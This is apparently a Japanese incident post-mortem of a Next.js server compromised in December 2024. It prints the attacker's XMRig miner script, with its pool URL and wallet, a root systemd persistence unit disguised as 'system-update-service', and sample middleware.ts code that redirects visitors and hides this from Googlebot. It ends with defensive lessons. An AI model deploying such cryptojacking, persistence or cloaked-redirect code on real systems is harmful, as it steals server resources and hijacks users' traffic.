概要
2024年12月、運営していた React / Next.js サービス が侵害され、
サーバーが XMRig による仮想通貨マイニング を実行する状態になっていた。
さらに調査を進めると、単なるマイニング被害ではなく
Next.js の middleware.ts が改ざんされ、トラフィックが外部に転送されていた ことが判明した。
本記事では、
- 実際に仕込まれていた マイナースクリプト
- middleware.ts が果たしていた役割
- 攻撃の流れと教訓
を技術的に整理する。
タイムライン
-
12/7
サイトが突然応答不能(timeout)
→ サーバーは稼働しているがCPU高負荷 -
12/10
ソースコードを確認
→middleware.tsに不審なリダイレクト処理を発見
攻撃の全体像
今回の攻撃は以下の 複合型 CryptoJacking だった。
侵入(Next.js脆弱性) ↓
XMRig 実行(CPUマイニング) ↓
systemd / nohup で永続化 ↓
middleware.ts 改ざん ↓
トラフィック転送・二次収益化
実際に仕込まれていたマイナースクリプト(sex.sh)
#!/bin/bash
TAR_FILE="kal.tar.gz"
EXTRACT_DIR="xmrig-6.24.0"
BINARY_PATH="$(pwd)/$EXTRACT_DIR/xmrig"
ARGS="--url pool.hashvault.pro:443 \
--user 88tGYBwhWNzGesQs5QkwE1PdBa1tXGb9dcjxrdwujU3SEs3i7psaoJc4KmrDvv4VPTNtXazDWGkvGGfqurdBggvPEhZ43DJ \
--pass next --donate-level 0 --tls \
--tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14"
SERVICE_NAME="system-update-service"
if [ ! -f "$BINARY_PATH" ]; then
curl -L -o "$TAR_FILE" https://github.com/xmrig/xmrig/releases/download/v6.24.0/xmrig-6.24.0-linux-static-x64.tar.gz
tar xvzf "$TAR_FILE"
fi
chmod +x "$BINARY_PATH"
このスクリプトの危険なポイント
- 正規GitHubからXMRigを取得
ウイルス検知を回避しやすい
バイナリ改変不要
- systemd サービス化(永続化)
[Service]
ExecStart=/path/xmrig ...
Restart=always
User=root
再起動しても復活
サービス名は system-update-service
管理者に気づかれにくい
- TLS + Fingerprint 指定
通信内容を暗号化
IDS / WAF を回避
middleware.ts も攻撃の一部だった
今回の事案では Next.js の middleware.ts が改ざん されていた。
middleware.ts は 全リクエストより先に実行される ため、
攻撃者にとって非常に都合の良いポイントである。
想定される改ざん例①:全リクエストリダイレクト
import { NextResponse } from "next/server";
import type { NextRequest } from "next/server";
export function middleware(req: NextRequest) {
return NextResponse.redirect(
"https://malicious-redirect.example.com"
);
}
サイト訪問者を無条件で外部へ転送
トラフィック転売やフィッシングに利用可能
改ざん例②:条件付きリダイレクト(より悪質)
export function middleware(req: NextRequest) {
const ua = req.headers.get("user-agent") || "";
if (!ua.includes("Googlebot")) {
return NextResponse.redirect(
"https://traffic-monetize.example.com"
);
}
return NextResponse.next();
}
Googlebot には正常表示
管理者や検索結果から発見されにくい
ブラックSEOでよく使われる手法
なぜマイナーと middleware がセットなのか
要素 目的
XMRig サーバーCPUで安定収益
middleware.ts トラフィックの二次収益
systemd 永続化
TLS 検知回避
👉 1台の侵害で複数の収益源を確保する設計
なぜサイトが timeout したのか
XMRig が CPU をほぼ100%使用
Node.js / Next.js が応答不能
Webサーバーは生きているが処理不可
これが 12/7 の障害の正体 だった。
教訓・対策
やってはいけないこと
Next.js を dev モードで公開
npm 依存関係の放置
本番サーバーでの直接編集
対策
next build
next start
npm audit fix
SourceMap 無効化
CI/CD 経由以外の変更禁止
サーバーは再構築前提で対応
結論
今回の事案は
「Next.js の脆弱性を突かれ、 サーバーが XMRig によるマイニングと middleware.ts によるトラフィック乗っ取りを同時に受けた」
典型的かつ再現性の高い攻撃だった。
React / Next.js = 安全ではない。
常に侵入される前提で設計すべきである。